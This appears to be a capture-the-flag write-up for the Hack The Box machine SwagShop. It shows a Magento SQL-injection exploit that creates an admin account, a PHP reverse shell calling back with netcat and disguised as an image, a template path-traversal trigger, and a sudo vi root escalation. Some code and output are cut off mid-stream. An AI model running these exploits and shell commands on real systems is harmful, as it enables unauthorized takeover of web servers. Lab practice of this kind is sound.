Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.140 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 secondsWe see in the nmap scan, that the HTTP server redirects to http://swagshop.htb. Let's add the domain to the /etc/hosts file.
nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 alfa8sa
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.140 swagshop.htbNow we can take a look at the website.

It is an online shop. If we take a look at the Wappalyzer extension, we'll see that it is a Magento CMS.

Let's enumerate directories with gobuster. Note that the URL is http://swagshop.htb/index.php/.
gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
direnumerates directories or files.-uthe target URL.-wpath to the wordlist.-tnumber of current threads, in this case 200 threads.

Shellcodes: No ResultsNow, let's copy the Remote Code Execution one to the current directory.

Exploit: Magento eCommerce - Remote Code Execution

File Type: ASCII text
Copied to: /home/alfa8sa/HTB/machines/swagshop/37977.pyBefore executing it, we'll have to modify it.
nano 37977.py
We'll have to delete everything before the first import, and everything after the last print statement. And then, we'll have to change the domain name to swagshop.htb, and add the /index.php directory to the target variable.
import requests
import base64
import sys
target = "http://swagshop.htb/index.php"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());

pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"pyttNow we can run the script. We'll have to run it with Python2.
python2 37977.py
WORKED
Check http://swagshop.htb/index.php/admin with creds forme:formeNow we can go to http://swagshop.htb/index.php/admin and log in with the forme:forme credentials.

Then, we'll see the Dashboard page.

Time to get a shell. First, let's create a PHP file which will send us a reverse shell. We'll have to name it revshell.php.png, because we'll be uploading it later to the website as an image.
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f")
?>Now, we'll have to go to the Configuration page.

Go to the Developer section, at the bottom of the page.

And go to the Template Settings, and set the Allow Symlinks to Yes. Then click on Save Config.

Now, let's go to the Manage Categories section.

Then, fill the name field with some random text, and upload the PHP file to the Thumbnail Image field and the Image field. And hit the Save Category button.

Then, go to the Newsletter Templates section, and hit the Add New Template button.

Here, we'll have to put a random template name and subject. Then, add the following to the text field, and hit the Save Template button.
{{block type="core/template" template="../../../../../../media/catalog/category/revshell.php.png"}}

Now, we'll have to set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Then, press on the template we have created.
And finally, if we hit the Preview Template button, we should get the reverse shell as the www-data user, on the netcat listener. Then, we could grab the user flag.
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.140] 60506

$ whoami
www-data
$ cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8Privilege Escalation
First of all, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
Back on the victim machine, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236And set the proper dimensions in the victim machine:
stty rows 51 columns 236
Let's list the sudo privileges of the www-data user.
sudo -l
-llist user privileges.
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*So the www-data user can run /usr/bin/vi on any file inside the /var/www/html directory.
If we search for vi in the GTFOBins list, we can see that we can spawn a shell as root with the sudo privilege running the following command:
sudo /usr/bin/vi /var/www/html/test -c ':!/bin/bash'
And indeed, we get a shell as the root user. All we have to do now is reap the harvest and grab the root flag.
root@swagshop:/var/www/html# whoami
root
root@swagshop:/var/www/html# cat /root/root.txt
